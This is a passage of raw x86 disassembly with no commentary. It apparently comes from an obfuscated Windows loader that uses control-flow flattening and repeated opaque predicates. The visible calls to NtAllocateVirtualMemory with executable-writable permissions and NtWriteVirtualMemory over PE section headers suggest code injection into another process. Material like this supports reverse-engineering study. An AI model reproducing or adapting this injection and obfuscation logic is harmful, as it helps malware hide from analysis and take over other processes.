and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc507ec2
mov ecx, 0xd23b9dff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x1a8], 0x357fd38c
jmp 0x10010704
mov eax, dword [ebp - 0x170]
mov dword [eax], 0
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
mov edx, ecx
add edx, 0xad09069b
sub edx, 1
sub edx, 0xad09069b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2c459786
mov ecx, 0x156e152
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x190]
mov edx, dword [ebp - 0x178]
mov edx, dword [edx]
mov esi, dword [ebp - 0x168]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x188]
mov edx, dword [edx]
mov esi, dword [ebp - 0x178]
mov esi, dword [esi]
mov edi, dword [ebp - 0x168]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x198]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x178]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x168]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10008690
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x1a8], 0xda88ba2b
jmp 0x10010704
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x1a8], 0x575b5
jmp 0x10010704
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 0x15c]
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
mov edx, ecx
add edx, 0x1f894a1
sub edx, 1
sub edx, 0x1f894a1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3801a6ad
mov ecx, 0x728770f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
mov edx, ecx
add edx, 0x5829df9
sub edx, 1
sub edx, 0x5829df9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe2d94116
mov ecx, 0x728595bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov dword [ebp - 0x1a8], 0xca9e9d64
jmp 0x10010704
mov dword [ebp - 0x1a8], 0x7c309ce8
jmp 0x10010704
mov dword [ebp - 0x1a8], 0x759f3b9d
jmp 0x10010704
mov dword [ebp - 0x1a8], 0xb1dd2827
jmp 0x10010704
mov eax, dword [ebp - 0xfc]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x188]
mov eax, dword [ebp - 0x184]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x1a8], 0x39bc2406
jmp 0x10010704
mov dword [ebp - 0x1a8], 0xf395059
jmp 0x10010704
mov dword [ebp - 0x1a8], 0x7bd9ca5
jmp 0x10010704
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x1a8], 0xc6b14e72
jmp 0x10010704
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x88]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x1a8], 0x94703caf
jmp 0x10010704
mov dword [ebp - 0x1a8], 0xef41b73f
jmp 0x10010704
jmp 0x10008c70